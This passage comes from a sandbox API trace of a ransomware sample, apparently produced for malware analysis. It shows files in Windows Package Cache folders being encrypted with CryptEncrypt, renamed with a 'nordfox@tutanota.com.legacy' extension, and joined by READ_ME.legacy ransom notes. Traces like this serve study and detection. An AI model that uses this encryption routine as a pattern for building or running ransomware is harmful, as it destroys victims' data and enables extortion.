pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.962] WriteFile (in: hFile=0x674, lpBuffer=0x5c3f00*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c3f00*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.962] WriteFile (in: hFile=0x674, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.962] CloseHandle (hObject=0x674) returned 1 [0115.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c3f00 | out: hHeap=0x520000) returned 1 [0115.962] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.963] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe"), lpNewFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\vcredist_x64.exe.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.967] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585918 | out: hHeap=0x520000) returned 1 [0115.967] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e78a0 | out: hHeap=0x520000) returned 1 [0115.967] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7fd0 | out: hHeap=0x520000) returned 1 [0115.967] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x5638b8 [0115.967] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4a58 [0115.968] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33c8 [0115.968] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x5c4a58 | out: pbBuffer=0x5c4a58) returned 1 [0115.968] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x5c33c8 | out: pbBuffer=0x5c33c8) returned 1 [0115.968] SetFileAttributesW (lpFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm", dwFileAttributes=0x80) returned 1 [0115.968] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xa0) returned 0x563c00 [0115.968] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x5c4428 [0115.968] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563c00 | out: hHeap=0x520000) returned 1 [0115.968] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x674 [0115.969] GetFileSizeEx (in: hFile=0x674, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=626) returned 1 [0115.969] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x272) returned 0x555b90 [0115.969] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x272) returned 0x2f40050 [0115.969] ReadFile (in: hFile=0x674, lpBuffer=0x555b90, nNumberOfBytesToRead=0x272, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x555b90*, lpNumberOfBytesRead=0x2e1f9bc*=0x272, lpOverlapped=0x0) returned 1 [0115.970] SetFilePointer (in: hFile=0x674, lDistanceToMove=-626, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0115.970] WriteFile (in: hFile=0x674, lpBuffer=0x2f40050*, nNumberOfBytesToWrite=0x272, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x2f40050*, lpNumberOfBytesWritten=0x2e1f9bc*=0x272, lpOverlapped=0x0) returned 1 [0115.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x555b90 | out: hHeap=0x520000) returned 1 [0115.970] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2f40050 | out: hHeap=0x520000) returned 1 [0115.970] SetFilePointer (in: hFile=0x674, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x272 [0115.971] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0115.971] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x5c4a58*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0115.971] WriteFile (in: hFile=0x674, lpBuffer=0x5c4a58*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c4a58*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0115.990] WriteFile (in: hFile=0x674, lpBuffer=0x5c33c8*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x5c33c8*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0115.990] CloseHandle (hObject=0x674) returned 1 [0115.991] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4a58 | out: hHeap=0x520000) returned 1 [0115.991] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33c8 | out: hHeap=0x520000) returned 1 [0115.991] MoveFileExW (lpExistingFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm"), lpNewFileName="\\Users\\All Users\\Package Cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\users\\all users\\package cache\\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\\state.rsm.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0115.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c4428 | out: hHeap=0x520000) returned 1 [0115.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5638b8 | out: hHeap=0x520000) returned 1 [0115.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563ea0 | out: hHeap=0x520000) returned 1 [0115.993] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e7e60 [0115.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e6e68 | out: hHeap=0x520000) returned 1 [0115.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570d00 | out: hHeap=0x520000) returned 1 [0115.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571cc0 | out: hHeap=0x520000) returned 1 [0115.993] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e497c2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x5c6318 [0115.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0115.993] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ba8 [0115.993] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0115.993] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ba8 | out: hHeap=0x520000) returned 1 [0115.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0115.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0115.994] GetLastError () returned 0x0 [0115.994] SetLastError (dwErrCode=0x0) [0115.994] GetLastError () returned 0x0 [0115.994] SetLastError (dwErrCode=0x0) [0115.994] GetLastError () returned 0x0 [0115.994] SetLastError (dwErrCode=0x0) [0115.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0115.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0115.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0115.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567018 [0115.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567018 | out: hHeap=0x520000) returned 1 [0115.994] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e201f8 [0115.994] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e201f8 | out: hHeap=0x520000) returned 1 [0115.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0115.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.995] FindNextFileW (in: hFindFile=0x5c6318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0a9b495, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc307f5ec, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd2e497c2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0115.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e93a8 | out: hHeap=0x520000) returned 1 [0115.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f08 [0115.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559fb8 [0115.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f08 | out: hHeap=0x520000) returned 1 [0115.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0115.995] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559fb8 | out: hHeap=0x520000) returned 1 [0115.995] GetLastError () returned 0x0 [0115.995] SetLastError (dwErrCode=0x0) [0115.995] GetLastError () returned 0x0 [0115.995] SetLastError (dwErrCode=0x0) [0115.995] GetLastError () returned 0x0 [0115.995] SetLastError (dwErrCode=0x0) [0115.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574860 [0115.995] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d608 [0115.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d608 | out: hHeap=0x520000) returned 1 [0115.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0115.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567318 [0115.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567318 | out: hHeap=0x520000) returned 1 [0115.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e20150 [0115.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e20150 | out: hHeap=0x520000) returned 1 [0115.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0115.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574860 | out: hHeap=0x520000) returned 1 [0115.996] FindNextFileW (in: hFindFile=0x5c6318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xd0ae7939, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xc308016e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xd0ae7939, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="packages", cAlternateFileName="")) returned 1 [0115.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0115.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578ec0 [0115.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0115.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578ec0 | out: hHeap=0x520000) returned 1 [0115.996] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8ef8 [0115.996] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0115.996] GetLastError () returned 0x0 [0115.996] SetLastError (dwErrCode=0x0) [0115.996] GetLastError () returned 0x0 [0115.997] SetLastError (dwErrCode=0x0) [0115.997] GetLastError () returned 0x0 [0115.997] SetLastError (dwErrCode=0x0) [0115.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0115.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0115.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d190 | out: hHeap=0x520000) returned 1 [0115.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0115.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e93a8 [0115.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d190 [0115.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8980 [0115.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c34b8 [0115.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x5c33f8 [0115.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578d10 [0115.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559270 [0115.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578d10 | out: hHeap=0x520000) returned 1 [0115.997] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0115.997] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559270 | out: hHeap=0x520000) returned 1 [0115.998] GetLastError () returned 0x0 [0115.998] SetLastError (dwErrCode=0x0) [0115.998] GetLastError () returned 0x0 [0115.998] SetLastError (dwErrCode=0x0) [0115.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x120) returned 0x563358 [0115.998] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0115.998] GetLastError () returned 0x0 [0115.998] SetLastError (dwErrCode=0x0) [0115.998] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xe0) returned 0x56f578 [0115.998] CreateFileW (lpFileName="\\Users\\All Users\\Package Cache\\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\\packages\\READ_ME.legacy" (normalized: "c:\\users\\all users\\package cache\\{cf2bea3c-26ea-32f8-aa9b-331f7e34ba97}v11.0.61030\\packages\\read_me.legacy"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x678 [0116.000] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56f578 | out: hHeap=0x520000) returned 1 [0116.000] WriteFile (in: hFile=0x678, lpBuffer=0x53c770*, nNumberOfBytesToWrite=0x702, lpNumberOfBytesWritten=0x2e1faf4, lpOverlapped=0x0 | out: lpBuffer=0x53c770*, lpNumberOfBytesWritten=0x2e1faf4*=0x702, lpOverlapped=0x0) returned 1 [0116.001] CloseHandle (hObject=0x678) returned 1 [0116.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x563358 | out: hHeap=0x520000) returned 1 [0116.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c33f8 | out: hHeap=0x520000) returned 1 [0116.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5c34b8 | out: hHeap=0x520000) returned 1 [0116.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8980 | out: hHeap=0x520000) returned 1 [0116.001] FindNextFileW (in: hFindFile=0x5c6318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e497c2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e497c2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e497c2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 1 [0116.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8ef8 | out: hHeap=0x520000) returned 1 [0116.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x579028 [0116.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559490 [0116.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x579028 | out: hHeap=0x520000) returned 1 [0116.001] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.001] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559490 | out: hHeap=0x520000) returned 1 [0116.002] GetLastError () returned 0x0 [0116.002] SetLastError (dwErrCode=0x0) [0116.002] GetLastError () returned 0x0 [0116.002] SetLastError (dwErrCode=0x0) [0116.002] GetLastError () returned 0x0 [0116.002] SetLastError (dwErrCode=0x0) [0116.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0116.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0116.002] FindNextFileW (in: hFindFile=0x5c6318, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd2e497c2, ftCreationTime.dwHighDateTime=0x1d511a7, ftLastAccessTime.dwLowDateTime=0xd2e497c2, ftLastAccessTime.dwHighDateTime=0x1d511a7, ftLastWriteTime.dwLowDateTime=0xd2e497c2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x702, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="READ_ME.legacy", cAlternateFileName="READ_M~1.LEG")) returned 0 [0116.002] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xb0) returned 0x5e8420 [0116.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e7e60 | out: hHeap=0x520000) returned 1 [0116.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x570858 | out: hHeap=0x520000) returned 1 [0116.002] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x571ce8 | out: hHeap=0x520000) returned 1 [0116.002] FindFirstFileW (in: lpFileName="\\Users\\All Users\\Package Cache\\{E512788E-C50B-3858-A4B9-73AD5F3F9E93}v14.10.25017\\*", lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2e497c2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName=".", cAlternateFileName="")) returned 0x566fd8 [0116.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e88b8 | out: hHeap=0x520000) returned 1 [0116.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578c38 [0116.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x559e20 [0116.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578c38 | out: hHeap=0x520000) returned 1 [0116.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8e30 [0116.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x559e20 | out: hHeap=0x520000) returned 1 [0116.003] GetLastError () returned 0x12 [0116.003] SetLastError (dwErrCode=0x12) [0116.003] GetLastError () returned 0x12 [0116.003] SetLastError (dwErrCode=0x12) [0116.003] GetLastError () returned 0x12 [0116.003] SetLastError (dwErrCode=0x12) [0116.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0116.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d1e8 [0116.003] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d1e8 | out: hHeap=0x520000) returned 1 [0116.003] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d460 [0116.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x566dd8 [0116.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x566dd8 | out: hHeap=0x520000) returned 1 [0116.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e202a0 [0116.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e202a0 | out: hHeap=0x520000) returned 1 [0116.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d460 | out: hHeap=0x520000) returned 1 [0116.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0116.004] FindNextFileW (in: hFindFile=0x566fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xd2e497c2, ftLastWriteTime.dwHighDateTime=0x1d511a7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="..", cAlternateFileName="")) returned 1 [0116.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8e30 | out: hHeap=0x520000) returned 1 [0116.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578f98 [0116.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0116.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578f98 | out: hHeap=0x520000) returned 1 [0116.004] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e8a48 [0116.004] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0116.004] GetLastError () returned 0x12 [0116.004] SetLastError (dwErrCode=0x12) [0116.004] GetLastError () returned 0x12 [0116.004] SetLastError (dwErrCode=0x12) [0116.005] GetLastError () returned 0x12 [0116.005] SetLastError (dwErrCode=0x12) [0116.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x30) returned 0x574b38 [0116.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x4c) returned 0x56d8c8 [0116.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x56d8c8 | out: hHeap=0x520000) returned 1 [0116.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0116.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x34) returned 0x567318 [0116.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567318 | out: hHeap=0x520000) returned 1 [0116.005] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x10) returned 0x2e200d8 [0116.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x2e200d8 | out: hHeap=0x520000) returned 1 [0116.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d1b8 | out: hHeap=0x520000) returned 1 [0116.005] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x574b38 | out: hHeap=0x520000) returned 1 [0116.005] FindNextFileW (in: hFindFile=0x566fd8, lpFindFileData=0x2e1fb24 | out: lpFindFileData=0x2e1fb24*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xdc8267ac, ftCreationTime.dwHighDateTime=0x1d327b7, ftLastAccessTime.dwLowDateTime=0xdc8267ac, ftLastAccessTime.dwHighDateTime=0x1d327b7, ftLastWriteTime.dwLowDateTime=0xdc8267ac, ftLastWriteTime.dwHighDateTime=0x1d327b7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x728d443f, cFileName="packages", cAlternateFileName="")) returned 1 [0116.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5e8a48 | out: hHeap=0x520000) returned 1 [0116.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x40) returned 0x578cc8 [0116.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x5599e0 [0116.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x578cc8 | out: hHeap=0x520000) returned 1 [0116.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x5e88b8 [0116.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5599e0 | out: hHeap=0x520000) returned 1 [0116.006] GetLastError () returned 0x12 [0116.006] SetLastError (dwErrCode=0x12) [0116.006] GetLastError () returned 0x12 [0116.006] SetLastError (dwErrCode=0x12) [0116.006] GetLastError () returned 0x12 [0116.006] SetLastError (dwErrCode=0x12) [0116.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d258 [0116.006] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x20) returned 0x57d1b8 [0116.006] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57d258 | out: hHeap=0x520000) returned 1 [0116.006] HeapFree (in: hHeap=0x520000, 